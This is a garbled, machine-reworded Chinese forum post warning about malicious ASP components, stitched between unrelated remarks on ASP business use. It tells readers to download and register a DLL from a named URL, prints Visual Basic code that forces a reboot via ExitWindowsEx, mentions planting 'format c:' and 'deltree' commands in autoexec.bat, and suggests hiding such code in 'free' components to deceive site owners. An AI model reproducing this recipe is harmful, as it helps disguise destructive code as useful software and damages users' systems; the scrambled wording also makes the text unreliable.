|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
在实现ERP等高端的ASP应用时,用户需要提供核心的经营资料,需要ASP商有很高的信用度。楼上说交互性不好,太牵强了吧。在微软提供的一套框架中,利用asp做网站,开发效率高,使用人数少,减少不必要的开销。交互性是互动方式,是有开发人员决定的。平安|成绩Microsoft推出的ASP(ActiveServerPage)以复杂、易用、功效多、可扩大性等壮大功效失掉了网友和年夜多半网管的喜好,年夜有完整取代CGI的趋向。可是我要对你说,假如利用ASP的话,你收集的平安同时也年夜年夜下降了! 在我持续说下往之前,请你完成以下步骤:
1.下载这个文件“http://home.gbsource.net/xuankong/dll.zip”,解紧缩后把个中的test.dll文件拷贝到“c:windowssystem”(假如你是利用NT的话,请拷贝到响应目次);
2.接上去翻开“入手下手/运转”菜单输出“regsvr32test.dll”命令;
3.拷贝解紧缩后的文件包中的谁人index.asp到你的服务器目次(假如你是利用PWS‘PersonalWebServer’调试能够拷贝到“c:Inetpubwwwroot”,NT请拷贝到响应的目次);
4.换一台呆板用IE扫瞄index.asp文件看一看(你看到的是堕落代码,可是实践上程序已运转了),你再前往你的呆板看一看c:下是不是多了一个文件?!一个名为“xuankong.dat”的文件(实在假如我乐意,你的c:autoexec.bat文件也能够被我翻开并写进一些甚么“formatc:/q/y”大概“deltree*.*/y”的命令,等你下次从头启念头器。嘿嘿……)。
我们一同来看看究竟是怎样一回事,你方才拷贝的那些DLL文件实际上是我利用VisulBasic5.0开辟的一个组件:
1.翻开VB5.0新建一个“ActiveXdll”文件,把上面的代码录进出来。
PrivateDeclareFunctionExitWindowsExLib″user32″_
(ByValuFlagsAsLong,ByValdwReservedAsLong)_
AsLong Subxuankong()′请不要加上″private″
a$=InputBox(″请输出你的姓名,假如你的输出是″xuankong″″+Chr(13)+Chr(10)+″则会在你的体系中天生一个″xuankong.dat″文件″+Chr(10)+Chr(13)+″不然的话你的呆板大概重启″,″请输出″,″xuankong″)
Ifa$=″xuankong″Then Open″c:xuankong.dat″ForAppendAs#1 Write#1,″我的伴侣,这是一个ASP组件的测试程序″ Write#1,″helloworld!Thisisatest″ Write#1,″假如你看到这个文件暗示测试乐成!!!″ Else ExitWindowsEx&H43,0′利用API函数从头启念头器 EndIf Close#1 EndSub
2.把工程名改成dll,类模块改成test,然后把这个工程天生DLL文件到c:windowssystem目次上面。
3.新建一个index.asp文件把上面的代码录进出来。
<%setrs=server.createobject(″dll.test″)%>
<%setrs1=rs.xuankong rs1.execute %>
4.拷贝index.asp到你的服务器内,依照下面所述举行调试! 好了,假如你调试完成,有甚么感到???假如是利用VC++、VisualJava开辟(它们开辟出来的组件功效可加倍壮大);假如把下面的VB代码改一下,到场到一些FTP组件、E-mail组件、HTTP组件、谈天室组件、计数器组件中……(但凡能够输出/输入的组件,没法输出/输入的组件的损坏力有必定范围),再给这些组件加上一个难听的名字“收费的……”你不受骗吗(嘿嘿!说不定你已受骗了,世界收费的器材但是好器材!!!*^v^*)?
下面所说的是ASP组件的平安成绩!别的假如有些作者在写ASP组件时不当心留下体系bug!那就加倍不容易被人觉察了!
申明:本文只代表团体概念。本文所供应的代码在Windows98自带的PWS和VisualBasic5.0下调试经由过程,假如你在天生ASP组件时呈现不克不及编译的成绩,请封闭你的PWS。你有甚么设法或定见请E-mail:xuankong@swau.edu.cn。</p>由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。 |
|